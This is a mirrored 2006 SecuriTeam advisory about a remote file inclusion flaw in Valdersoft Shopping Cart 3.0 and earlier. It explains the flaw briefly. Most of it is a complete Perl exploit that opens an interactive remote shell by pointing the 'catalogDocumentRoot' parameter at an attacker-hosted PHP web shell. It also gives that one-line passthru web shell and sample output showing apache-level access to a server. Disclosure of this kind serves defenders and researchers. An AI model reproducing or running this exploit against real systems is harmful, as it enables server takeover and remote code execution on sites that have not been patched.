Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:10900
HistoryJan 05, 2006 - 12:00 a.m.

[EXPL] Valdersoft Shopping Cart Remote Command Execution (Exploit)

2006-01-0500:00:00
vulners.com
58

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com

    • promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html


Valdersoft Shopping Cart Remote Command Execution (Exploit)

SUMMARY

<http://www.valdersoft.com/&gt; Valdersoft
<http://www.valdersoft.com/valdersoft_shopping_cart.php&gt; Shopping Cart is
"a easy to manage, customizable e-commerce solution".

A vulnerability in Valdersoft Shopping Cart allows malicious attackers to
execute arbitrary code on the vulnerable system.

DETAILS

Vulnerable Systems:

  • Valdersoft Shopping Cart version 3.0 and prior

Exploit:
#!/usr/bin/perl

cijfer-vscxpl - Valdersoft Shopping Cart <=3.0 Remote Command Execution

Exploit

Copyright (c) 2005 cijfer <[email protected]>

All rights reserved.

1. example

[cijfer@kalma:/research]$ ./cijfer-vscxpl.pl -h www.valdersoft.com -d

/store

[[email protected] /]$ id;uname -a

uid=2526(apache) gid=2524(apache) groups=2524(apache), 10004(psaserv)

FreeBSD valdersoft.com 4.9-RELEASE FreeBSD 4.9-RELEASE #0: Wed Nov 19

00:35:22 EST 2003

[email protected]:/usr/src/sys/compile/PLESK i386

[[email protected] /]$

2. explanation

various files within 'include\templates\categories' contains unsanitized

and undefined

variables which can allow remote file inclusion, leading to remote

command execution.

this can be done by entering a remote url within the

'catalogDocumentRoot' variable.

3. the bug

this is obvious why it is dangerous.

include($catalogDocumentRoot.$catalogDir

"include/modules/categories_path.php");

4. the php shell

this exploit grabs data via regular expression strings. foreign php

shell

scripts will not work with this exploit. use the following code along

with

this exploit and put it in 'cmd.txt' or whatever you please:

<?passthru($_GET[cmd]);?>

$Id: cijfer-vscxpl.pl,v 0.2 2005/12/30 11:44:00 cijfer Exp cijfer $

use Getopt::Std;
use IO::Socket;
use URI::Escape;

getopts("h:d:");

$host = $opt_h;
$dirs = $opt_d;
$shel = "http://site.com/cmd.txt&quot;; # cmd shell url
$cmdv = "cmd"; # cmd variable (ex.
passthru($_GET[cmd]);)
$good = 0;

if(!$host||!$dirs)
{
print "cijfer-vscxpl.pl by cijfer\n";
print "usage: $0 -h cijfer.xxx -d /valdersoft\r\n";
print "usage: $0 -h <hostname> -d <directory>\r\n";
exit();
}

while()
{
print "[cijfer@".$host." /]\$ ";
while(<STDIN>)
{
$cmds=$_;
chomp($cmds);
last;
}

$string  = $dirs;
$string .= &quot;/include/templates/categories/default.php?&quot;;
$string .= uri_escape&#40;$cmdv&#41;;
$string .= &quot;=&quot;;
$string .= &quot;&#37;65&#37;63&#37;68&#37;6F&#37;20&#37;5F&#37;53&#37;54&#37;41&#37;52&#37;54&#37;5F&#37;3B&quot;;
$string .= uri_escape&#40;$cmds&#41;.&quot;;echo&quot;;
$string .= &quot;&#37;3B&#37;65&#37;63&#37;68&#37;6F&#37;20&#37;5F&#37;45&#37;4E&#37;44&#37;5F;echo;&quot;;
$string .= &quot;&amp;catalogDocumentRoot=&quot;;
$string .= $shel;
$string .= &quot;?&quot;;

$sock = IO::Socket::INET-&gt;new&#40; Proto =&gt; &quot;tcp&quot;, PeerAddr =&gt; $host, 

PeerPort => 80) || die "error: connect()\n";

print $sock &quot;GET $string HTTP/1.1&#92;n&quot;;
print $sock &quot;Host: $host&#92;n&quot;;
print $sock &quot;Accept: */*&#92;n&quot;;
print $sock &quot;Connection: close&#92;n&#92;n&quot;;

while&#40;$result = &lt;$sock&gt;&#41;
{
    if&#40;$result =~ /^_END_/&#41;
    {
        $good=0;
    }

    if&#40;$good==1&#41;
    {
        print $result;
    }

    if&#40;$result =~ /^_START_/&#41;
    {
        $good=1;
    }
}

}

ADDITIONAL INFORMATION

The information has been provided by <mailto:[email protected]> cijfer.

========================================

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: [email protected]
In order to subscribe to the mailing list, simply forward this email to: [email protected]

====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.